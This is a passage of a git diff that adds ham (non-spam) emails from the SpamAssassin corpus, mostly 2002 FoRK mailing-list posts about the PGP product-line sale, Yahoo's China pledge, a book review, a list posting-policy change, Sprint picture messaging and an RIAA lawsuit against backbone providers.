user-119ac86.biz.mindspring.com ([66.149.49.6]) by + hall.mail.mindspring.net with esmtp (Exim 3.33 #1) id 17gmBi-0006Pw-00; + Mon, 19 Aug 2002 09:03:18 -0400 +MIME-Version: 1.0 +X-Sender: rahettinga@pop.earthlink.net +Message-Id: +To: irregulars@tb.tf, fork@spamassassin.taint.org, nettime-l@bbs.thing.net +From: "R. A. Hettinga" +Subject: PGP Corp. Purchases PGP Desktop Encryption and Wireless Product Lines from NET +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 8bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 19 Aug 2002 09:02:52 -0400 + + +--- begin forwarded text + + +To: rah@ibuc.com +From: "Network Associates" +Date: Mon, 19 Aug 2002 05:34:11 -0700 +Reply-To: "Network Associates" +Subject: PGP Corp. Purchases PGP Desktop Encryption and Wireless Product +Lines from NET + +August 19, 2002 + + +Dear Customer, + +Today we are pleased to announce that PGP Corporation, a newly formed, +venture-funded security company, has acquired the PGP desktop encryption +and wireless product lines from Network Associates. As you know, prior to +placing the products into maintenance mode, we were actively looking for a +buyer that would continue the development and support of the technology. + +Network Associates has retained products developed using PGPsdk including +McAfee E-Business Server for encrypted server-to-server file transfer, +McAfee Desktop Firewall and McAfee VPN Client. These products will remain a +part of Network Associates’ existing product portfolio and we will continue +to develop them to meet your security needs. PGP Corporation has acquired +PGPmail, PGPfile, PGPdisk, PGPwireless, PGPadmin and PGPkeyserver +encryption software products for Win32 and Macintosh, PGPsdk encryption +software development kit, and PGP Corporate Desktop for Macintosh. + +In addition to the technology, PGP Corporation has acquired all worldwide +customer license agreements and technical support obligations. To ensure a +seamless transition, Network Associates will work with PGP Corporation to +support PGP customers through October 26, 2002. PGP Corporation will +contact you shortly with details on its plans and product direction. + +We trust that you will have continued success with the PGP desktop and +wireless encryption products through PGP Corporation. Network Associates +appreciates your business and we value our continued relationship across +our remaining product lines. + + +Best Regards, + +Sandra England +Executive Vice President, Business Development and Strategic Research +Network Associates + + + +**************************************************************************************************** +You have received this message because you are a subscriber to the Network +Associates Web sites. To unsubscribe, please follow the instructions at the +end of this message. + +This information update is available at no charge to all registered users +of Network Associates Web site. + +* To change your email address, send a reply to this email address and to +subscribe@nai.com with the words, "change-address" in the subject line. In +the body of the message include your old and new email addresses with the +original message. Use the following format for email changes: +OLD: enduser@olddomain.com +NEW: Joseph_User@newdomain.com + + +______________________________________________________________________ +This message was sent by Network Associates, Inc. using Responsys Interact +(TM). + +If you prefer not to receive future e-mail from Network Associates, Inc.: + http://nai.rsc01.net/servlet/optout?gHpgJDWWBEkHoFpINJDJhtE0 + +To view our permission marketing policy: + http://www.rsvp0.net + +--- end forwarded text + + +-- +----------------- +R. A. Hettinga +The Internet Bearer Underwriting Corporation +44 Farquhar Street, Boston, MA 02131 USA +"... however it may deserve respect for its usefulness and antiquity, +[predicting the end of the world] has not been found agreeable to +experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01084.179e52a904452c61906bb004c34ab1ff b/bayes/spamham/easy_ham_2/01084.179e52a904452c61906bb004c34ab1ff new file mode 100644 index 0000000..d238954 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01084.179e52a904452c61906bb004c34ab1ff @@ -0,0 +1,75 @@ +From fork-admin@xent.com Tue Aug 20 11:53:29 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2034243C3A + for ; Tue, 20 Aug 2002 06:52:08 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 11:52:08 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7JJFKZ05715 for ; + Mon, 19 Aug 2002 20:15:20 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id DB96F2940A0; Mon, 19 Aug 2002 12:13:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from crank.slack.net (slack.net [166.84.151.181]) by xent.com + (Postfix) with ESMTP id 501B229409D for ; Mon, + 19 Aug 2002 12:12:21 -0700 (PDT) +Received: by crank.slack.net (Postfix, from userid 596) id 7EF173EDCE; + Mon, 19 Aug 2002 15:15:38 -0400 (EDT) +Received: from localhost (localhost [127.0.0.1]) by crank.slack.net + (Postfix) with ESMTP id 7D6FF3EDC1 for ; Mon, + 19 Aug 2002 15:15:38 -0400 (EDT) +From: Tom +To: fork@spamassassin.taint.org +Subject: Down the Yahoo river +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 19 Aug 2002 15:15:38 -0400 (EDT) + + +fwd----- +It would appear that Yahoo! has joined the ranks of western companies +dedicated to helping restrict the freedoms of people in other countries +for the sake of improving their profit margins. Yahoo! has signed the +"Public Pledge on Self-discipline for China Internet Industry" (more +here http://www.dfn.org/voices/china/selfdiscipline.htm ), essentially a +promise to help police Chinese internet users for the +State: + +>>>From this article in The Nando Times: +http://www.nandotimes.com/technology/story/494845p-3946998c.html + +The Chinese version of the popular Yahoo! Internet portal risks becoming +an online policeman for China's communist government if it keeps a promise +to voluntarily investigate potentially subversive content, a human rights +group has warned. + +"If it implements the pledge, Yahoo! will become an agent of Chinese law +enforcement," Kenneth Roth, Human Rights Watch's executive director, said +Friday. "It will switch from being an information gateway to an +information gatekeeper." + +More from Human Rights Watch. +http://hrw.org/press/2002/08/yahoo080902.htm + +---------------------------- + + + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01085.0d8db9468ce8ea76f81ebc03041cc467 b/bayes/spamham/easy_ham_2/01085.0d8db9468ce8ea76f81ebc03041cc467 new file mode 100644 index 0000000..82aef79 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01085.0d8db9468ce8ea76f81ebc03041cc467 @@ -0,0 +1,178 @@ +From fork-admin@xent.com Tue Aug 20 11:53:34 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 49C0B43C60 + for ; Tue, 20 Aug 2002 06:52:09 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 11:52:09 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7JL7JZ09171 for ; + Mon, 19 Aug 2002 22:07:20 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 888B82940A0; Mon, 19 Aug 2002 14:05:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from alumnus.caltech.edu (alumnus.caltech.edu [131.215.49.51]) + by xent.com (Postfix) with ESMTP id ECF7B29409D; Mon, 19 Aug 2002 14:04:06 + -0700 (PDT) +Received: from localhost (localhost [127.0.0.1]) by alumnus.caltech.edu + (8.12.3/8.12.3) with ESMTP id g7JL5cSw024603; Mon, 19 Aug 2002 14:05:38 + -0700 (PDT) +Subject: Washington Post Review of Xander's Book, _Siberia Bound_ +Content-Type: text/plain; charset=WINDOWS-1252; format=flowed +MIME-Version: 1.0 (Apple Message framework v482) +Cc: Angela Cooper , xander@KnowNow.com +To: fork@spamassassin.taint.org +From: Rohit Khare +Message-Id: <6788CE5F-B3B7-11D6-A70E-000393A46DEA@alumni.caltech.edu> +X-Mailer: Apple Mail (2.482) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 19 Aug 2002 14:05:34 -0700 +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g7JL7JZ09171 + +... I'll assume that, on general principle, you've all gone out and +bought a copy of fellow FoRKer Alexander Blakely's new book. While the +review is broadly fair, I have to admit that the criticisim is a little +facile. The key to writing, as with software, is to take away detail, +not add more. But even a map would have helped with all the details of +how vast Xander & Natasha (& Max!!)'s territory is... + +Best, + Rohit + +PS. feel free to drop by SF tonight for his reading/signing! + +=============================================================== +Monday, August 19 at 7 pm +Alexander Blakely +Siberia Bound is a coming-of-age account of life as an entrepreneur in a +new wild-and-free-market‹ Russia of the early 1990s. Alexander Blakely +uses his gift for storytelling to describe the four years he spent +living and working toward the American dream in the former Soviet Union. + +A Clean Well-Lighted Place for Books +at Opera Plaza +601 Van Ness Avenue +San Francisco, CA 94102 + + +OUR DIGITS + +Phone: (415) 441-6670 +Fax: (415) 567-6885 +Email: books@bookstore.com + + +===================================================== +http://www.washingtonpost.com/wp-dyn/articles/A24428-2002Aug15.html + +'Siberia Bound: Chasing the American Dream on Russia's Wild Frontier' by +Alexander Blakely + +Reviewed by David Tuller +Sunday, August 18, 2002; Page BW08 + + +SIBERIA BOUND +Chasing the American Dream On Russia's Wild Frontier +By Alexander Blakely +Sourcebooks. 320 pp. $22.95 + +Judging from Siberia Bound, Alexander Blakely seems like a pretty cool +guy -- adventurous, engaging and fun to hang out with. After all, most +chroniclers of Russian life base their tales in Moscow or, alternately, +St. Petersburg, the most livable of Russia's not-very-livable cities. +Deciding instead to settle in a former academic community outside of +Novosibirsk, one of Siberia's major cities, Blakely set out to pursue, +as his book's subtitle declares, "the American dream on Russia's wild +frontier." + +Blakely, who moved to Siberia after finishing college with an economics +degree, has a breezy writing style. And although his book is flawed in +many respects, it does include some sharp observations of life in +Russia. "Usually with construction," he tells us, for instance, "you +have two choices: 1) you can do it quickly, or 2) you can do it right. +The Soviet construction worker . . . takes his time doing things wrong." + +Anyone who has spent time in Siberia knows that its inhabitants are a +breed apart. They disdain their compatriots in the country's Western +regions and pride themselves -- perhaps excessively -- on their courage, +strength and inner fortitude. Siberia, in fact, occupies a space in the +Russian national psyche similar to that of the Wild West in American +mythology. The efforts throughout the 16th and 17th centuries to settle +Siberia's vast expanse and exploit its natural resources still resonate +with Russians. So does the region's role as a convenient dumping ground +for criminals and political dissidents during the czarist centuries and +as home to the cruel network of gulags in Soviet times. + +Unfortunately, little of this rich brew of history and myth makes an +appearance in Siberia Bound. Neither do lots of other pertinent facts. +Russians often say that, in Russia, anything can happen -- and usually +does. So it's easy to believe that two young men could establish a +chocolate business on little more than hope, smarts and chutzpah. But +while Blakely describes establishing a cocoa-bean importing business +with his friend Sasha, we never learn how they met in the first place or +why he believes Sasha to be a trustworthy associate. The two of them +strike a deal to sell their beans to a local chocolate factory, yet we +find out virtually nothing about the chocolate the factory produces. Is +it tasty? Disgusting? Are we talking chocolate bars, chocolate truffles +or chocolate syrup? A few details would go a long way here. + +The author has the makings of a terrific story. But even though Siberia +Bound includes frequent humorous episodes, Blakely generally fails to +transform the pungent ingredients into a satisfying meal. The constant +descriptions of encounters and conversations ultimately differ little +from one another. People are forever winking, smirking and slapping one +another on the back. Slamming down shots of vodka and making sentimental +toasts to women and friendship play an inevitable role in any account of +Russian life, but reading about such occasions becomes tiresome after +the 20th or 30th repetition. + +Blakely is also given to facile comments that are meant to sound smart +but often fall flat. "Democracy and the free market, the best +institutions the West had to offer, stormed over the borders and ran +deep into Russia," he tells us. "But like all foreign armies throughout +history, they quickly were spread too thin and became diluted." And then +there's this summation of his time in Russia: "Those four years have +left me with a lifetime of rabid ambivalence to chew on until I've got +no teeth left." + +Blakely manages to include a few unpleasant -- and wholly unnecessary -- +laughs at the expense of Chinese workers and gays. And although I like +wordplay as much as the next guy, it's jarring when non-English-speaking +characters make puns in English. "In a pinch," says one character, a +chocolate factory director who warns Blakely not to store extra cocoa +beans on site, "I'm afraid we would probably take a pinch." + +Some of these faults wouldn't matter if Siberia Bound were a picaresque +novel or an account that didn't aspire to authenticity. But the effect +here is to undermine a reader's faith in the narrator's reliability and +to reduce most of the characters to the stock figures encountered in +dozens of other accounts of Russian life. So in the end, I believed the +broad contours of Blakely's story but found it hard to take seriously +many of the particulars. And his ultimate conclusion -- that capitalism, +material comfort and wealth do not bring happiness -- hardly qualifies +as a revelation. • + +David Tuller is a contributing writer at Salon.com and the author of +"Cracks in the Iron Closet: Travels in Gay and Lesbian Russia." + + +© 2002 The Washington Post Company + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01086.3d81baca8ac423ad247f870f4848bf30 b/bayes/spamham/easy_ham_2/01086.3d81baca8ac423ad247f870f4848bf30 new file mode 100644 index 0000000..cf63a29 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01086.3d81baca8ac423ad247f870f4848bf30 @@ -0,0 +1,57 @@ +From fork-admin@xent.com Tue Aug 20 11:53:37 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id CF90D43C61 + for ; Tue, 20 Aug 2002 06:52:10 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 11:52:10 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7JM6GZ11185 for ; + Mon, 19 Aug 2002 23:06:17 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id D31CE2940AA; Mon, 19 Aug 2002 15:04:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from alumnus.caltech.edu (alumnus.caltech.edu [131.215.49.51]) + by xent.com (Postfix) with ESMTP id 8238529409D for ; + Mon, 19 Aug 2002 15:02:21 -0700 (PDT) +Received: from localhost (localhost [127.0.0.1]) by alumnus.caltech.edu + (8.12.3/8.12.3) with ESMTP id g7JM3jSw001568 for ; + Mon, 19 Aug 2002 15:03:45 -0700 (PDT) +MIME-Version: 1.0 (Apple Message framework v482) +Content-Type: text/plain; charset=US-ASCII; format=flowed +Subject: POLICY CHANGE: subscriber-only posting +From: Rohit Khare +To: fork@spamassassin.taint.org +Content-Transfer-Encoding: 7bit +Message-Id: <8369845E-B3BF-11D6-A70E-000393A46DEA@alumni.caltech.edu> +X-Mailer: Apple Mail (2.482) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 19 Aug 2002 15:03:37 -0700 + +Sorry, gang, but I've flipped the switch. If your posting address +doesn't match your subscription address, or if you've instructed a robot +to forkpost on your behalf, it'll get held, silently, for me or Kragen +to review. Which will be rarely, so be warned. + +Let's see how this works out for a week or so... + +Rohit + +--- +My permanent email address is khare@alumni.caltech.edu + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01087.492999865b0156883f459238ccd1c8ec b/bayes/spamham/easy_ham_2/01087.492999865b0156883f459238ccd1c8ec new file mode 100644 index 0000000..56ff24c --- /dev/null +++ b/bayes/spamham/easy_ham_2/01087.492999865b0156883f459238ccd1c8ec @@ -0,0 +1,123 @@ +From fork-admin@xent.com Tue Aug 20 11:53:39 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BC86243C43 + for ; Tue, 20 Aug 2002 06:52:11 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 11:52:11 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7K0iGZ18333 for ; + Tue, 20 Aug 2002 01:44:16 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 9E96B294136; Mon, 19 Aug 2002 17:42:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from axiom.braindust.com (axiom.braindust.com [64.69.71.79]) by + xent.com (Postfix) with ESMTP id 2D41B29409D for ; + Mon, 19 Aug 2002 17:41:30 -0700 (PDT) +X-Envelope-To: fork@spamassassin.taint.org +Received: from localhost (194125.aebc.com [209.53.194.125]) (authenticated + (0 bits)) by axiom.braindust.com (8.12.5/8.11.6) with ESMTP id + g7K0fpeH004384 (using TLSv1/SSLv3 with cipher EDH-RSA-DES-CBC3-SHA (168 + bits) verified NO); Mon, 19 Aug 2002 17:41:59 -0700 +Subject: Re: sprint delivers the next big thing?? +Content-Type: text/plain; charset=US-ASCII; format=flowed +MIME-Version: 1.0 (Apple Message framework v482) +Cc: Rob Shavell , fork@spamassassin.taint.org +To: "Joseph S. Barrera III" +From: Ian Andrew Bell +In-Reply-To: <3D60DEC6.6020306@barrera.org> +Message-Id: <220DE45B-B3D5-11D6-8BCA-0030657C53EA@ianbell.com> +Content-Transfer-Encoding: 7bit +X-Mailer: Apple Mail (2.482) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 19 Aug 2002 17:38:23 -0700 + +I can't see it either. + +I do however disagree with Joe in that it needs to be 2+MPixels to +be useful. Value is not always necessarily defined by quality +(just look at 802.11). + +If I had a self-contained communications unit that let me share +things: documents, the weather, my new hairdo, by newborn baby, +etc. and it fit in my pocket then it might encourage me to share +those things more often. If we're talking on the phone and you ask +me what the weather is like and I say "hang on", outstretch the +device with my arm extended, press a button, and instantly send you +a picture on me with blue sky in the background, that has value. + +But if I say "hang on", fumble around in my briefcase for a digital +camera, and after 5 minutes of plugging and praying with USB +finally am able to take a photo of me, bound by several feet of +cable and multiple devices, well, that doesn't really have value. + +If I'm a Paparazzi I'd love to be able to send high-res photos +using my mobile phone because that has real economic impact, and I +could put up with the hassle for the amount of time it saves me. +However, I don't think that is the market that Sprint PCS is +contemplating. + +The fact that Sprint has not made the assumption that both the +sender and recipient of the picture are using their mobile phones +will help this survive. Gets around the whole "fax" problem (where +both sender and receiver have to have faxes in order for that +technology to be useful). + +On the whole, not very useful for regular Joes (pun intended). Put +the camera in the phone (even a low-res one) and then it'd at least +be cool. + +-Ian. + +On Monday, August 19, 2002, at 05:04 AM, Joseph S. Barrera III wrote: + +> Rob Shavell wrote: +>> sprint, if you haven't seen the marketing yet, is 1st to US +>> market w/postwap +>> mobile data svc. to me, there is nada more interesting and +>> impactful going +>> down in the tech world than mobile visual communications.. and +>> yet no one +>> seems to give much of a damn that right now that 2 persons can +>> take photos +>> and share them instantly across space. +> +> You're right. Or at least, I don't. I saw an advert for it on TV +> last night (can't miss Futurama :-) and I thought, "boy, that's +> dumb." +> If I wanted to share pictures with someone, I'd email them to them, +> where they could see them on a 1024x or 1600x display, instead of +> looking at a postage stamp on their cell phone. Or, I'd bring a +> printout +> if they needed to see it. Etc. We all have 2+Mpixel cameras now +> anyways, +> right? (This is one reason why I never bought the camera attachment +> for my handspring visor -- resolution was too poor.) +> +> In fact, with a 1GB microdrive in my camera, I often just keep +> old pictures around, and I can show people pictures using the +> camera's display. Which is bound to be better than the cell phone's. +> +> - Joe +> -- The Combatant State is your father and your mother, your only +> protector, the totality of your interests. No discipline can +> be stern enough for the man who denies that by word or deed. +> +> +> http://xent.com/mailman/listinfo/fork + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01088.3f301b9bd840614bb4eddadf6a99a00d b/bayes/spamham/easy_ham_2/01088.3f301b9bd840614bb4eddadf6a99a00d new file mode 100644 index 0000000..908ddc2 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01088.3f301b9bd840614bb4eddadf6a99a00d @@ -0,0 +1,63 @@ +From fork-admin@xent.com Tue Aug 20 11:53:41 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D89FB43C44 + for ; Tue, 20 Aug 2002 06:52:12 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 11:52:12 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7K1JHZ19413 for ; + Tue, 20 Aug 2002 02:19:18 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 2325A294139; Mon, 19 Aug 2002 18:17:09 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mithral.com (watcher.mithral.com [204.153.244.1]) by + xent.com (Postfix) with SMTP id 2217729409D for ; + Mon, 19 Aug 2002 18:16:07 -0700 (PDT) +Received: (qmail 3098 invoked by uid 1111); 20 Aug 2002 01:17:37 -0000 +From: "Adam L. Beberg" +To: Rohit Khare +Cc: +Subject: Re: POLICY CHANGE: subscriber-only posting +In-Reply-To: <8369845E-B3BF-11D6-A70E-000393A46DEA@alumni.caltech.edu> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 19 Aug 2002 18:17:37 -0700 (PDT) + +On Mon, 19 Aug 2002, Rohit Khare wrote: + +> Sorry, gang, but I've flipped the switch. If your posting address +> doesn't match your subscription address, or if you've instructed a robot +> to forkpost on your behalf, it'll get held, silently, for me or Kragen +> to review. Which will be rarely, so be warned. +> +> Let's see how this works out for a week or so... + +And I didnt even need to visit, woohoo :) + +... Proving that the threat of my presence gets action in only 14 hours. I +think I should be offended, but I'll be too busy basking in the glow of a +spam-free FoRK :) + +- Adam L. "Duncan" Beberg + http://www.mithral.com/~beberg/ + beberg@mithral.com + + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01089.1a35cad14b5dfe121e9cf18be1e93e7d b/bayes/spamham/easy_ham_2/01089.1a35cad14b5dfe121e9cf18be1e93e7d new file mode 100644 index 0000000..d6910ac --- /dev/null +++ b/bayes/spamham/easy_ham_2/01089.1a35cad14b5dfe121e9cf18be1e93e7d @@ -0,0 +1,135 @@ +From fork-admin@xent.com Tue Aug 20 11:53:44 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A223D43C62 + for ; Tue, 20 Aug 2002 06:52:13 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 11:52:13 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7K2KHZ21045 for ; + Tue, 20 Aug 2002 03:20:17 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id BD36029409E; Mon, 19 Aug 2002 19:18:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from rwcrmhc51.attbi.com (rwcrmhc51.attbi.com [204.127.198.38]) + by xent.com (Postfix) with ESMTP id 472A629409D for ; + Mon, 19 Aug 2002 19:17:57 -0700 (PDT) +Received: from localhost ([24.61.140.132]) by rwcrmhc51.attbi.com + (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id + <20020820021931.HOTE1746.rwcrmhc51.attbi.com@localhost>; Tue, + 20 Aug 2002 02:19:31 +0000 +From: bitbitch@magnesium.net +X-Mailer: The Bat! (v1.53d) Educational +Reply-To: bitbitch@magnesium.net +X-Priority: 3 (Normal) +Message-Id: <044025976.20020819221917@magnesium.net> +To: fork@spamassassin.taint.org +Subject: This little domain went to China.... +In-Reply-To: +References: +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 19 Aug 2002 22:19:17 -0400 + +The RIAA continues to amaze me. Everyone might want to grok the +news yahoo has: + +http://rd.yahoo.com/dailynews/nm/tc_nm/inlinks/*http://Listen4ever.com + + +And if you're really bored, go ahead and read the papers that were +filed by the RIAA against the major backbone providers. + +http://www.riaa.com/pdf/Listen4Ever.pdf + + +So it looks like the RIAA is getting bored with its usual tack of +suing the peer-to-peer services, and is instead using the DMCA +to sue ISPs and backbones into compliance -- They want said backbones +to block the ip address of the listen4ever.com server due to +listen4ever's alleged infringement of copyright. To quote +the Motion that the RIAA issued: "Plaintiffs request that +the Court issue a preliminary injunction requiring Defendants to block +communication to and from Listen4ever's servers that travel through +Defendants' backbone routing systems". + +At least according to the RIAA (probably for bonus terror tactics ) +the Listen4ever site is even more formidable than that bane of p2p +goodness, Napster, due to the fact that its on a centralized server, +out of their reach of RIAA/DMCA control (its located in China), and +because according to the RIAA it facilitates the downloading of entire albums. +Apparently listen4ever has a few other sites floating around, and the RIAA has been +unsuccessful in getting any of them to voluntarily surrender +service(1). + +Gotta love the RIAA for jumping into this lawsuit with the customer's +interests in mind. How lawyers can write drivel along the lines of +'if you dont stop these guys, we'll run out of money and we won't be +able to supply you new music!' just blows my mind, especially in this +day and age. The RIAA has enough money to file inane lawsuits +against backbone providers, but they don't have enough money to +produce new artists? Something seems wrong here. + +Here's my problem. Say the RIAA wins in court, and the backbone +providers comply. Their biggest hurdle is now accomplished, and one +hell of a terrible precident is/can be set. At least in the RIAA's +case, I'm sure once they get a Court-mandated Ok for this particular +site, they'll just go ahead, write their nice friendly lawyer letters, +and demand that subsequent IP addresses also be blocked, as they too +route to sites that are problematic to the RIAA. + +Even worse, the concept that other groups (the first that flashed into +my little brain being the Scientologists) also decide that this is the way +to go. If the RIAA prevails, they have record set, albiet in NY +only, that can be pointed back to, and used in other cases. +Eventually this will hit a large enough court that precident will set, + and we have a very quiet, very non-reported event occuring from then + on, the systematic C&Ding of the Internet. Anything that violates the +DMCA, given its takedown provisions, might now potentially +fall prey to a Cease & Desist letter. Rather than appealing, the +backbone providers will just agree -- as they seem likely to do +'provided a court order'. + +Point being is that soon this won't take a court order. A nastygram +will suffice and we'll wonder where all the new +music/information/dissenting opinions/ criticisms went. + +This is a scary road we're running down here. So nice to see that +its still hush-hush in the geek community. + +Whats more bizzare is some of the support(?) that the RIAA seemed to +get. I'm curious for instance, how Dave Farber got dragged into +this... (2) Dave, you still read FoRK? + +(1) Save for one, lmp3.com, which was listed as a redirect site in the +court documents, has since gone down. Their website has a humorous little note: "Lmp3 +will be closed and will never come back! ". Listen4ever.com is not +responding, but i'm not quite sure if thats due to backbone compliance +or the site being overburdened. + +(2) Declaration of Prof. David J. Farber: +http://www.riaa.com/pdf/Listen4Ever.pdf (p. 95) + + +A very disgruntled, + +bitbitch + + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01090.9c92673e26cabc5a37ac3e2b1b2bf8df b/bayes/spamham/easy_ham_2/01090.9c92673e26cabc5a37ac3e2b1b2bf8df new file mode 100644 index 0000000..9a39c0e --- /dev/null +++ b/bayes/spamham/easy_ham_2/01090.9c92673e26cabc5a37ac3e2b1b2bf8df @@ -0,0 +1,82 @@ +From fork-admin@xent.com Tue Aug 20 11:53:45 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E1E9A43C68 + for ; Tue, 20 Aug 2002 06:52:14 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 11:52:14 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7K2vGZ22062 for ; + Tue, 20 Aug 2002 03:57:17 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id CB16829413F; Mon, 19 Aug 2002 19:55:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mail.evergo.net (unknown [206.191.151.2]) by xent.com + (Postfix) with SMTP id 6E2C029409D for ; Mon, + 19 Aug 2002 